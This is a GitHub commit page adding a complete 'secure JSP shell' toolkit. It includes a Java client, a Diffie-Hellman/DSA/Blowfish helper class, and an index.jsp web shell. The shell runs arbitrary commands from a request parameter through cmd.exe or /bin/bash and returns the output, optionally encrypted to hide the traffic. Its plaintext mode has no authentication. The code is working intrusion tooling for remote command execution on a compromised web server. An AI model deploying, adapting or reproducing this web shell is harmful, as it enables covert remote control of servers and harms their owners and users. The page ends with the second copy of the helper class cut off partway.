Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Initial commit of the encrypted jsp shell with signed diffie-hellman …

…key exchange
  • Loading branch information...
commit e3294e2b23a773189ec0503f93b78a4d1bc3b299 1 parent f850782
@DiabloHorn authored
View
163 sjspShell/SJSc/SJSc.java
@@ -0,0 +1,163 @@
+import java.io.*;
+import java.net.*;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+
+/**
+ * Secure JSP Shell (SJS) with prolly flawed encryption
+ * Author: http://diablohorn.wordpress.com
+ * Borrowed and modified code from the following sources:
+ * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
+ * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
+ * http://www.devdaily.com/java/edu/pj/pj010011
+ * http://www.exampledepot.com/egs/javax.crypto/KeyAgree.html
+ * http://stackoverflow.com/questions/2793150/how-to-use-java-net-urlconnection-to-fire-and-handle-http-requests
+ */
+public class SJSc {
+ String cookie = null;
+ static String shellhost;
+ static String doEnc;
+ private void displayUsage(String[] handleArgs){
+ if(handleArgs.length > 2 || handleArgs.length < 1){
+ System.out.println("java SJSc <http://hostwithshell/path/page.jsp> <enc/pln>");
+ System.exit(0);
+ }
+
+ if(handleArgs.length == 1){
+ SJSc.shellhost = handleArgs[0];
+ }
+
+ if(handleArgs.length == 2){
+ SJSc.shellhost = handleArgs[0];
+ SJSc.doEnc = handleArgs[1];
+ }
+ }
+
+ private String retrievePage(String address) throws MalformedURLException, IOException{
+ URL u = new URL(address);
+ BufferedReader reader = null;
+ String s;
+ StringBuffer output = new StringBuffer();
+ URLConnection connection = null;
+ if(this.cookie == null){
+ connection = u.openConnection();
+ this.cookie = connection.getHeaderField("Set-Cookie").split(";")[0];
+ }else{
+ connection = u.openConnection();
+ connection.addRequestProperty("Cookie",this.cookie);
+ }
+ //System.out.println("url:" + connection.getURL().toString());
+ reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+ for (String line; (line = reader.readLine()) != null;) {
+ output.append(line + System.getProperty("line.separator"));
+ }
+ reader.close();
+ return output.toString().trim();
+ }
+
+ public static void main(String[] args) throws MalformedURLException, IOException, NoSuchAlgorithmException, FileNotFoundException, NoSuchProviderException {
+ SJSc sjsclient = new SJSc();
+ sjsclient.displayUsage(args);
+ String currentPath = new java.io.File(".").getCanonicalPath();
+ //dirty but ohwell
+ if(shellhost.equalsIgnoreCase("gen")){
+ //generate dsa keypairs
+ SeComDH.generateDSAKeyPair(currentPath.concat("/publicalice.dsa"), currentPath.concat("/privatealice.dsa"));
+ SeComDH.generateDSAKeyPair(currentPath.concat("/publicbob.dsa"), currentPath.concat("/privatebob.dsa"));
+ System.exit(0);
+ }
+
+ if (doEnc.equalsIgnoreCase("pln")) {
+ String cmdoutput = null;
+ while (true) {
+ try {
+ BufferedReader bufferRead = new BufferedReader(new InputStreamReader(System.in));
+ cmdoutput = sjsclient.retrievePage(new String(shellhost + "?t=" + URLEncoder.encode(bufferRead.readLine().trim(), "UTF-8")));
+ System.out.print(cmdoutput);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ System.out.println("Securely negotiating keys");
+ try {
+ SeComDH sc = new SeComDH();
+ String alicesharedsecret = null;
+ String cmdinput = null;
+ String alicepubkey = sc.getAlicePublicKey();
+ //sign our pubkey stuff
+ byte[] alicepubkeysig = SeComDH.signWithDSA(SeComDH.asByte(alicepubkey),currentPath.concat("/privatealice.dsa"));
+ // Send the signed public key bytes & Retrieve the signed public key bytes from the other party
+ String[] bobres = sjsclient.retrievePage(new String(shellhost + "?e=yeah&dp=" + alicepubkey + "&s=" + SeComDH.asHex(alicepubkeysig))).split(";");
+ String bobhispublickey = bobres[0];
+ String bobhispublickeysig = bobres[1];
+ if(!SeComDH.verifyWithDSA(SeComDH.asByte(bobhispublickey), SeComDH.asByte(bobhispublickeysig), currentPath.concat("/publicbob.dsa"))){
+ System.out.println("SIGCHECKFAILED");
+ System.exit(0);
+ }
+ // generate the key
+ sc.aliceGenerateSecret(SeComDH.asByte(bobhispublickey));
+ alicesharedsecret = SeComDH.md5(sc.getAliceSharedSecret());
+ System.out.println("You can now issue commands to your shell");
+ while (true) {
+ BufferedReader bufferRead = new BufferedReader(new InputStreamReader(System.in));
+ cmdinput = bufferRead.readLine().trim();
+ // Use the secret key to encrypt/decrypt data;
+ String[] ciphertext = SeComDH.encryptBlowfish(cmdinput, alicesharedsecret);
+ String[] tempres = sjsclient.retrievePage(new String(shellhost + "?t=" + ciphertext[0] + "&i=" + ciphertext[1])).split(System.getProperty("line.separator"));
+ for(int i=0;i<tempres.length;i++){
+ String tempiv = tempres[i].substring(0, 16);
+ String tempcrypt = tempres[i].substring(16);
+ System.out.println(SeComDH.decryptBlowfish(tempcrypt, alicesharedsecret ,tempiv));
+ }
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
+
+/* EXAMPLE USAGE
+try{
+ //generate dsa keypairs
+ String currentPath = new java.io.File(".").getCanonicalPath();
+ SeComDH.generateDSAKeyPair(currentPath.concat("/publicalice.dsa"), currentPath.concat("/privatealice.dsa"));
+ SeComDH.generateDSAKeyPair(currentPath.concat("/publicbob.dsa"), currentPath.concat("/privatebob.dsa"));
+
+ //instantiate alice
+ SeComDH sca = new SeComDH(1024);
+ byte[] aliceherpublickey = SeComDH.asByte(sca.getAlicePublicKey());
+ //pretend we send public key and thus need to sign it
+ byte[] sigalice = SeComDH.signWithDSA(aliceherpublickey, currentPath.concat("/privatealice.dsa"));
+ //pretend we receive public key+sig and thus need to verify it
+ boolean veralice = SeComDH.verifyWithDSA(aliceherpublickey, sigalice, currentPath.concat("/publicalice.dsa"));
+ System.out.println(veralice);
+ //instantiate bob with public key from alice and generate secret
+ SeComDH scb = new SeComDH(aliceherpublickey);
+ scb.bobGenerateSecret();
+ //pretend we send public key and thus need to sign it
+ //also pretend we receive it and need to verify it
+ byte[] bobhispublickey = SeComDH.asByte(scb.getBobPublicKey());
+ byte[] sigbob = SeComDH.signWithDSA(bobhispublickey, currentPath.concat("/privatebob.dsa"));
+ boolean verbob = SeComDH.verifyWithDSA(bobhispublickey, sigbob, currentPath.concat("/publicbob.dsa"));
+ System.out.println(verbob);
+ //alice generate secretkey
+ sca.aliceGenerateSecret(bobhispublickey);
+ //print both secret keys
+ //diffie outputs big keys, so we just hash the to get the correct size
+ //should be iterated etc
+ String as = SeComDH.sha256(sca.getAliceSharedSecret());
+ System.out.println(as);
+ String bs = SeComDH.sha256(scb.getBobSharedSecret());
+ System.out.println(bs);
+ String[] cryptext = SeComDH.encryptBlowfish("test this is a test", as);
+ System.out.println(cryptext[0] + ":" + cryptext[1]);
+ String plaintext = SeComDH.decryptBlowfish(cryptext[0], bs, cryptext[1]);
+ System.out.println(plaintext);
+} catch(Exception e){
+ e.printStackTrace();
+}
+ */
View
267 sjspShell/SJSc/SeComDH.java
@@ -0,0 +1,267 @@
+
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UnsupportedEncodingException;
+import java.security.*;
+import java.security.spec.*;
+import javax.crypto.*;
+import javax.crypto.interfaces.DHPublicKey;
+import javax.crypto.spec.*;
+import sun.security.provider.DSAPrivateKey;
+
+/**
+ *
+ * @author http://diablohorn.wordpress.com
+ * Borrowed, reused, modified and changed code from the following resources:
+ * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
+ * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
+ * http://www.devdaily.com/java/edu/pj/pj010011
+ * http://www.jsptut.com/Sessions.jsp
+ *
+ * This class is a modified version of the code on the following URL
+ * http://docs.oracle.com/javase/6/docs/technotes/guides/security/crypto/CryptoSpec.html#AppD
+ *
+ * With some addition of code on the following URL
+ * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ *
+ * More addition from code on the following URL
+ * http://docs.oracle.com/javase/tutorial/security/apisign/index.html
+ * http://www.java2s.com/Tutorial/Java/0490__Security/RSASignatureGeneration.htm
+ *
+ */
+public class SeComDH {
+/*
+ * Class variables start here
+ */
+ //alice
+ private DHParameterSpec dhSkipParamSpec = null;
+ private KeyPair aliceKpair = null;
+ private KeyAgreement aliceKeyAgree = null;
+ private byte[] aliceSharedSecret = null;
+ //bob
+ private KeyPair bobKpair = null;
+ private KeyAgreement bobKeyAgree = null;
+ private byte[] bobSharedSecret = null;
+ //other
+ private PublicKey publicKeyFromAlice = null;
+/*
+ * Class variables end here
+ */
+
+/*
+ * helper methods start here
+ */
+ public static String asHex(byte buf[]) {
+ StringBuffer strbuf = new StringBuffer(buf.length * 2);
+ int i;
+
+ for (i = 0; i < buf.length; i++) {
+ if (((int) buf[i] & 0xff) < 0x10) {
+ strbuf.append("0");
+ }
+
+ strbuf.append(Long.toString((int) buf[i] & 0xff, 16));
+ }
+
+ return strbuf.toString();
+ }
+
+ public static byte[] asByte(String s) {
+ int len = s.length();
+ byte[] data = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ + Character.digit(s.charAt(i + 1), 16));
+ }
+ return data;
+ }
+
+ //create dh parameters
+ private void createDHParameterSpec(int keysize) throws NoSuchAlgorithmException, InvalidParameterSpecException{
+ AlgorithmParameterGenerator paramGen = AlgorithmParameterGenerator.getInstance("DH");
+ paramGen.init(keysize,new SecureRandom());
+ AlgorithmParameters params = paramGen.generateParameters();
+ this.dhSkipParamSpec = (DHParameterSpec) params.getParameterSpec(DHParameterSpec.class);
+ }
+
+ private void createDHParameterSpec() throws NoSuchAlgorithmException, InvalidParameterSpecException{
+ createDHParameterSpec(1024);
+ }
+
+ /*
+ * Alice creates her own DH key pair, using the DH parameters from
+ * above
+ */
+ private void AliceCreateKeyPair() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException{
+ KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance("DH");
+ aliceKpairGen.initialize(this.dhSkipParamSpec);
+ this.aliceKpair = aliceKpairGen.generateKeyPair();
+
+ // Alice creates and initializes her DH KeyAgreement object
+ this.aliceKeyAgree = KeyAgreement.getInstance("DH");
+ this.aliceKeyAgree.init(this.aliceKpair.getPrivate());
+ }
+
+ public String getAlicePublicKey(){
+ return SeComDH.asHex(this.aliceKpair.getPublic().getEncoded());
+ }
+
+ private void BobCreateKeyPair(byte[] PublicKeyFromAlice) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidAlgorithmParameterException, InvalidKeyException{
+ KeyFactory bobKeyFac = KeyFactory.getInstance("DH");
+ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(PublicKeyFromAlice);
+ this.publicKeyFromAlice = bobKeyFac.generatePublic(x509KeySpec);
+
+ DHParameterSpec dhParamSpec = ((DHPublicKey) this.publicKeyFromAlice).getParams();
+
+ // Bob creates his own DH key pair
+ KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance("DH");
+ bobKpairGen.initialize(dhParamSpec);
+ this.bobKpair = bobKpairGen.generateKeyPair();
+
+ // Bob creates and initializes his DH KeyAgreement object
+ this.bobKeyAgree = KeyAgreement.getInstance("DH");
+ this.bobKeyAgree.init(this.bobKpair.getPrivate());
+ }
+
+ public String getBobPublicKey(){
+ return SeComDH.asHex(this.bobKpair.getPublic().getEncoded());
+ }
+
+ public void aliceGenerateSecret(byte[] PublicKeyFromBob) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException{
+ KeyFactory aliceKeyFac = KeyFactory.getInstance("DH");
+ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(PublicKeyFromBob);
+ PublicKey bobPubKey = aliceKeyFac.generatePublic(x509KeySpec);
+ this.aliceKeyAgree.doPhase(bobPubKey, true);
+ this.aliceSharedSecret = this.aliceKeyAgree.generateSecret();
+ }
+
+ public void bobGenerateSecret() throws InvalidKeyException{
+ this.bobKeyAgree.doPhase(this.publicKeyFromAlice, true);
+ this.bobSharedSecret = this.bobKeyAgree.generateSecret();
+ }
+
+ public String getAliceSharedSecret(){
+ return SeComDH.asHex(this.aliceSharedSecret);
+ }
+
+ public String getBobSharedSecret(){
+ return SeComDH.asHex(this.bobSharedSecret);
+ }
+
+ //init as Alice
+ public SeComDH() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidParameterSpecException{
+ createDHParameterSpec();
+ AliceCreateKeyPair();
+ }
+
+ //init as Alice
+ public SeComDH(int keysize) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidParameterSpecException{
+ createDHParameterSpec(keysize);
+ AliceCreateKeyPair();
+ }
+
+ //init as Bob
+ public SeComDH(byte[] AlicePublicKey) throws NoSuchAlgorithmException, InvalidParameterSpecException, InvalidKeySpecException, InvalidAlgorithmParameterException, InvalidKeyException{
+ BobCreateKeyPair(AlicePublicKey);
+ }
+
+ public static String md5(String data) throws NoSuchAlgorithmException{
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ return SeComDH.asHex(md.digest(SeComDH.asByte(data)));
+ }
+ public static String[] encryptBlowfish(String plain,String encKey) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidParameterSpecException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException{
+ SecretKeySpec key = new SecretKeySpec(SeComDH.asByte(encKey), "Blowfish");
+ Cipher cipher = Cipher.getInstance("Blowfish/CBC/PKCS5Padding");
+ cipher.init(Cipher.ENCRYPT_MODE, key);
+ AlgorithmParameters params = cipher.getParameters();
+ byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
+ byte[] ciphertext = cipher.doFinal(plain.getBytes("ASCII"));
+ return new String[]{SeComDH.asHex(ciphertext),SeComDH.asHex(iv)};
+ }
+
+ public static String decryptBlowfish(String crypt,String decKey,String iv) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException{
+ SecretKeySpec key = new SecretKeySpec(SeComDH.asByte(decKey), "Blowfish");
+ Cipher cipher = Cipher.getInstance("Blowfish/CBC/PKCS5Padding");
+ cipher.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(SeComDH.asByte(iv)));
+ return new String(cipher.doFinal(SeComDH.asByte(crypt)),"ASCII");
+ }
+
+ private static void writeFile(String path,byte[] data) throws FileNotFoundException, IOException{
+ FileOutputStream fos = new FileOutputStream(path);
+ fos.write(data);
+ fos.close();
+ }
+
+ private static byte[] readFile(String path) throws FileNotFoundException, IOException{
+ FileInputStream keyfis = new FileInputStream(path);
+ byte[] encKey = new byte[keyfis.available()];
+ keyfis.read(encKey);
+ keyfis.close();
+ return encKey;
+ }
+
+ private static byte[] readFileFromStream(InputStream in) throws IOException{
+ byte[] encKey = new byte[in.available()];
+ in.read(encKey);
+ in.close();
+ return encKey;
+ }
+ public static void generateDSAKeyPair(String storePublicKeyPath,String storePrivateKeyPath) throws NoSuchAlgorithmException, FileNotFoundException, IOException, NoSuchProviderException{
+ KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA");
+ keyGen.initialize(1024,new SecureRandom());
+ KeyPair keypair = keyGen.genKeyPair();
+ SeComDH.writeFile(storePublicKeyPath, keypair.getPublic().getEncoded());
+ SeComDH.writeFile(storePrivateKeyPath,keypair.getPrivate().getEncoded());
+ }
+
+ public static byte[] signWithDSA(byte[] data,String privateKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException, FileNotFoundException, IOException, NoSuchProviderException{
+ byte[] privateKey = SeComDH.readFile(privateKeyPath);
+ //X509EncodedKeySpec prvKeySpec = new X509EncodedKeySpec(privateKey);
+ //KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ //PrivateKey pk = keyFactory.generatePrivate(prvKeySpec);
+ DSAPrivateKey pk = new DSAPrivateKey(privateKey);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initSign(pk, new SecureRandom());
+ signature.update(data);
+ return signature.sign();
+ }
+
+ public static byte[] signWithDSA(byte[] data, InputStream privateKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException, FileNotFoundException, IOException, NoSuchProviderException {
+ byte[] privateKey = SeComDH.readFileFromStream(privateKeyPath);
+ //X509EncodedKeySpec prvKeySpec = new X509EncodedKeySpec(privateKey);
+ //KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ //PrivateKey pk = keyFactory.generatePrivate(prvKeySpec);
+ DSAPrivateKey pk = new DSAPrivateKey(privateKey);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initSign(pk, new SecureRandom());
+ signature.update(data);
+ return signature.sign();
+ }
+
+ public static boolean verifyWithDSA(byte[] data,byte[] sig,String publicKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, SignatureException, InvalidKeyException, FileNotFoundException, IOException, NoSuchProviderException{
+ byte[] publicKey = SeComDH.readFile(publicKeyPath);
+ X509EncodedKeySpec pubKeySpec = new X509EncodedKeySpec(publicKey);
+ KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ PublicKey pk = keyFactory.generatePublic(pubKeySpec);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initVerify(pk);
+ signature.update(data);
+ return signature.verify(sig);
+ }
+
+ public static boolean verifyWithDSA(byte[] data, byte[] sig, InputStream is) throws NoSuchAlgorithmException, InvalidKeySpecException, SignatureException, InvalidKeyException, FileNotFoundException, IOException, NoSuchProviderException {
+ byte[] publicKey = SeComDH.readFileFromStream(is);
+ X509EncodedKeySpec pubKeySpec = new X509EncodedKeySpec(publicKey);
+ KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ PublicKey pk = keyFactory.generatePublic(pubKeySpec);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initVerify(pk);
+ signature.update(data);
+ return signature.verify(sig);
+ }
+}
View
BIN  sjspShell/SJSs/WEB-INF/classes/sc/SeComDH.class
Binary file not shown
View
BIN  sjspShell/SJSs/WEB-INF/privatebob.dsa
Binary file not shown
View
BIN  sjspShell/SJSs/WEB-INF/publicalice.dsa
Binary file not shown
View
3  sjspShell/SJSs/WEB-INF/web.xml
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<web-app>
+</web-app>
View
155 sjspShell/SJSs/index.jsp
@@ -0,0 +1,155 @@
+<%--
+Simple JSP shell, Simple os detection & prolly flawed encrypted commands
+Author: http://diablohorn.wordpress.com
+Borrowed and modified code from the following sources:
+ http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
+ http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
+--%>
+<%@page import="sc.SeComDH"%>
+<%@page import="java.util.*"%>
+<%@page import="java.io.*"%>
+<%@page import="java.security.*"%>
+<%@page import="javax.crypto.*"%>
+<%@page import="javax.crypto.spec.*"%>
+
+<%
+/*
+ * t = command to execute(can be encrypted)
+ * i = aes iv
+ * e = is t encrypted or not
+ * p = shell pass if no crypto is used
+ * dp = diffie public key and return ours
+ * s = signature
+ * cmd2exec = command which will finally be executed
+ */
+String temp = request.getParameter("t");
+String iv = request.getParameter("i");
+String ce = request.getParameter("e");
+String pass = request.getParameter("p");
+String dp = request.getParameter("dp");
+String s = request.getParameter("s");
+String cmd2exec = null;
+SeComDH sc = null;
+
+/*
+ * For encryption first call should be:
+ * ?e=yeah&dp=<DHPUBKEY>&s=<SIGOFPUBKEY>
+ * We return <OURPUBKEY;OURPUBKEYSIG>
+ *
+ * For encryption second call should be:
+ * ?t=<ENCRYPTEDCOMMAND>&i=<IV>
+ * We retun <IV><CRYPTEDRESULT>
+ *
+ * Without encryption only call should be:
+ * ?t=id&p=<PASSWORD>
+ * We return command result
+ */
+//store if we need encryption
+if(session.getAttribute("encryption") == null){
+ if(ce == null){
+ //crypto not gonna be used
+ session.setAttribute("encryption", "0");
+ }else{
+ session.setAttribute("encryption", "1");
+ }
+}
+
+//do we need encryption?
+if(session.getAttribute("encryption").equals("1")){
+ try{
+//store if we need dh, initialize accordingly
+ if (session.getAttribute("secretkey") == null) {
+ if (dp == null) {
+ out.println("NODHPUBKEY");
+ return;
+ } else {
+ byte[] alicepubkey = SeComDH.asByte(dp);
+ String alicepubkeysig = s;
+ if(!SeComDH.verifyWithDSA(alicepubkey, SeComDH.asByte(alicepubkeysig), application.getResourceAsStream("/WEB-INF/publicalice.dsa"))){
+ out.println("SIGCHECKFAIL");
+ return;
+ }
+ sc = new SeComDH(alicepubkey);
+ sc.bobGenerateSecret();
+ session.setAttribute("secretkey", SeComDH.md5(sc.getBobSharedSecret()));
+ String bobpubkey = sc.getBobPublicKey();
+ byte[] bobpubkeysig = SeComDH.signWithDSA(SeComDH.asByte(bobpubkey), application.getResourceAsStream("/WEB-INF/privatebob.dsa"));
+ out.println(bobpubkey+";"+SeComDH.asHex(bobpubkeysig));
+ return;
+ }
+ }else{
+ cmd2exec = SeComDH.decryptBlowfish(temp, (String)session.getAttribute("secretkey") , iv);
+ }
+ }catch(Exception e){
+ out.println(e);
+ return;
+ }
+}else{
+ if(temp != null){
+ //implement pass check
+ //this is left as an excersize for the user :)
+ //either remove it or implement it if you don't people will be able to abuse your shell
+ cmd2exec = temp;
+ }else{
+ out.println("No command given and no crypto selected");
+ return;
+ }
+}
+
+try
+{
+ String osName = System.getProperty("os.name" );
+ String[] cmd = new String[3];
+ if( osName.toLowerCase().contains("windows"))
+ {
+ cmd[0] = "cmd.exe" ;
+ cmd[1] = "/C" ;
+ cmd[2] = cmd2exec;
+ }
+ else if( osName.toLowerCase().contains("linux"))
+ {
+ cmd[0] = "/bin/bash" ;
+ cmd[1] = "-c" ;
+ cmd[2] = cmd2exec;
+ }else{
+ cmd[0] = cmd2exec;
+ }
+
+ Runtime rt = Runtime.getRuntime();
+ Process proc = rt.exec(cmd);
+ try
+ {
+ InputStreamReader iser = new InputStreamReader(proc.getErrorStream());
+ InputStreamReader isir = new InputStreamReader(proc.getInputStream());
+ BufferedReader ber = new BufferedReader(iser);
+ BufferedReader bir = new BufferedReader(isir);
+ String errline=null;
+ String inpline=null;
+
+ while ( (inpline = bir.readLine()) != null){
+ if(session.getAttribute("encryption").equals("1")){
+ String[] tempcrypt = SeComDH.encryptBlowfish(inpline.trim(), (String)session.getAttribute("secretkey"));
+ out.println(tempcrypt[1]+tempcrypt[0]);
+ }else{
+ out.println(inpline);
+ }
+ }
+
+ while ( (errline = ber.readLine()) != null){
+ if(session.getAttribute("encryption").equals("1")){
+ String[] tempcrypt = SeComDH.encryptBlowfish(errline.trim(), (String)session.getAttribute("secretkey"));
+ out.println(tempcrypt[1]+tempcrypt[0]);
+ }else{
+ out.println(errline);
+ }
+ }
+
+ } catch (IOException ioe) {
+ ioe.printStackTrace(new java.io.PrintWriter(out));
+ }
+ proc.waitFor();
+} catch (Exception e) {
+ e.printStackTrace(new java.io.PrintWriter(out));
+}
+%>
View
267 sjspShell/SJSs/src/sc/SeComDH.java
@@ -0,0 +1,267 @@
+package sc;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UnsupportedEncodingException;
+import java.security.*;
+import java.security.spec.*;
+import javax.crypto.*;
+import javax.crypto.interfaces.DHPublicKey;
+import javax.crypto.spec.*;
+import sun.security.provider.DSAPrivateKey;
+
+/**
+ *
+ * @author http://diablohorn.wordpress.com
+ * Borrowed, reused, modified and changed code from the following resources:
+ * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
+ * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
+ * http://www.devdaily.com/java/edu/pj/pj010011
+ * http://www.jsptut.com/Sessions.jsp
+ *
+ * This class is a modified version of the code on the following URL
+ * http://docs.oracle.com/javase/6/docs/technotes/guides/security/crypto/CryptoSpec.html#AppD
+ *
+ * With some addition of code on the following URL
+ * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
+ *
+ * More addition from code on the following URL
+ * http://docs.oracle.com/javase/tutorial/security/apisign/index.html
+ * http://www.java2s.com/Tutorial/Java/0490__Security/RSASignatureGeneration.htm
+ *
+ */
+public class SeComDH {
+/*
+ * Class variables start here
+ */
+ //alice
+ private DHParameterSpec dhSkipParamSpec = null;
+ private KeyPair aliceKpair = null;
+ private KeyAgreement aliceKeyAgree = null;
+ private byte[] aliceSharedSecret = null;
+ //bob
+ private KeyPair bobKpair = null;
+ private KeyAgreement bobKeyAgree = null;
+ private byte[] bobSharedSecret = null;
+ //other
+ private PublicKey publicKeyFromAlice = null;
+/*
+ * Class variables end here
+ */
+
+/*
+ * helper methods start here
+ */
+ public static String asHex(byte buf[]) {
+ StringBuffer strbuf = new StringBuffer(buf.length * 2);
+ int i;
+
+ for (i = 0; i < buf.length; i++) {
+ if (((int) buf[i] & 0xff) < 0x10) {
+ strbuf.append("0");
+ }
+
+ strbuf.append(Long.toString((int) buf[i] & 0xff, 16));
+ }
+
+ return strbuf.toString();
+ }
+
+ public static byte[] asByte(String s) {
+ int len = s.length();
+ byte[] data = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ + Character.digit(s.charAt(i + 1), 16));
+ }
+ return data;
+ }
+
+ //create dh parameters
+ private void createDHParameterSpec(int keysize) throws NoSuchAlgorithmException, InvalidParameterSpecException{
+ AlgorithmParameterGenerator paramGen = AlgorithmParameterGenerator.getInstance("DH");
+ paramGen.init(keysize,new SecureRandom());
+ AlgorithmParameters params = paramGen.generateParameters();
+ this.dhSkipParamSpec = (DHParameterSpec) params.getParameterSpec(DHParameterSpec.class);
+ }
+
+ private void createDHParameterSpec() throws NoSuchAlgorithmException, InvalidParameterSpecException{
+ createDHParameterSpec(1024);
+ }
+
+ /*
+ * Alice creates her own DH key pair, using the DH parameters from
+ * above
+ */
+ private void AliceCreateKeyPair() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException{
+ KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance("DH");
+ aliceKpairGen.initialize(this.dhSkipParamSpec);
+ this.aliceKpair = aliceKpairGen.generateKeyPair();
+
+ // Alice creates and initializes her DH KeyAgreement object
+ this.aliceKeyAgree = KeyAgreement.getInstance("DH");
+ this.aliceKeyAgree.init(this.aliceKpair.getPrivate());
+ }
+
+ public String getAlicePublicKey(){
+ return SeComDH.asHex(this.aliceKpair.getPublic().getEncoded());
+ }
+
+ private void BobCreateKeyPair(byte[] PublicKeyFromAlice) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidAlgorithmParameterException, InvalidKeyException{
+ KeyFactory bobKeyFac = KeyFactory.getInstance("DH");
+ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(PublicKeyFromAlice);
+ this.publicKeyFromAlice = bobKeyFac.generatePublic(x509KeySpec);
+
+ DHParameterSpec dhParamSpec = ((DHPublicKey) this.publicKeyFromAlice).getParams();
+
+ // Bob creates his own DH key pair
+ KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance("DH");
+ bobKpairGen.initialize(dhParamSpec);
+ this.bobKpair = bobKpairGen.generateKeyPair();
+
+ // Bob creates and initializes his DH KeyAgreement object
+ this.bobKeyAgree = KeyAgreement.getInstance("DH");
+ this.bobKeyAgree.init(this.bobKpair.getPrivate());
+ }
+
+ public String getBobPublicKey(){
+ return SeComDH.asHex(this.bobKpair.getPublic().getEncoded());
+ }
+
+ public void aliceGenerateSecret(byte[] PublicKeyFromBob) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException{
+ KeyFactory aliceKeyFac = KeyFactory.getInstance("DH");
+ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(PublicKeyFromBob);
+ PublicKey bobPubKey = aliceKeyFac.generatePublic(x509KeySpec);
+ this.aliceKeyAgree.doPhase(bobPubKey, true);
+ this.aliceSharedSecret = this.aliceKeyAgree.generateSecret();
+ }
+
+ public void bobGenerateSecret() throws InvalidKeyException{
+ this.bobKeyAgree.doPhase(this.publicKeyFromAlice, true);
+ this.bobSharedSecret = this.bobKeyAgree.generateSecret();
+ }
+
+ public String getAliceSharedSecret(){
+ return SeComDH.asHex(this.aliceSharedSecret);
+ }
+
+ public String getBobSharedSecret(){
+ return SeComDH.asHex(this.bobSharedSecret);
+ }
+
+ //init as Alice
+ public SeComDH() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidParameterSpecException{
+ createDHParameterSpec();
+ AliceCreateKeyPair();
+ }
+
+ //init as Alice
+ public SeComDH(int keysize) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidParameterSpecException{
+ createDHParameterSpec(keysize);
+ AliceCreateKeyPair();
+ }
+
+ //init as Bob
+ public SeComDH(byte[] AlicePublicKey) throws NoSuchAlgorithmException, InvalidParameterSpecException, InvalidKeySpecException, InvalidAlgorithmParameterException, InvalidKeyException{
+ BobCreateKeyPair(AlicePublicKey);
+ }
+
+ public static String md5(String data) throws NoSuchAlgorithmException{
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ return SeComDH.asHex(md.digest(SeComDH.asByte(data)));
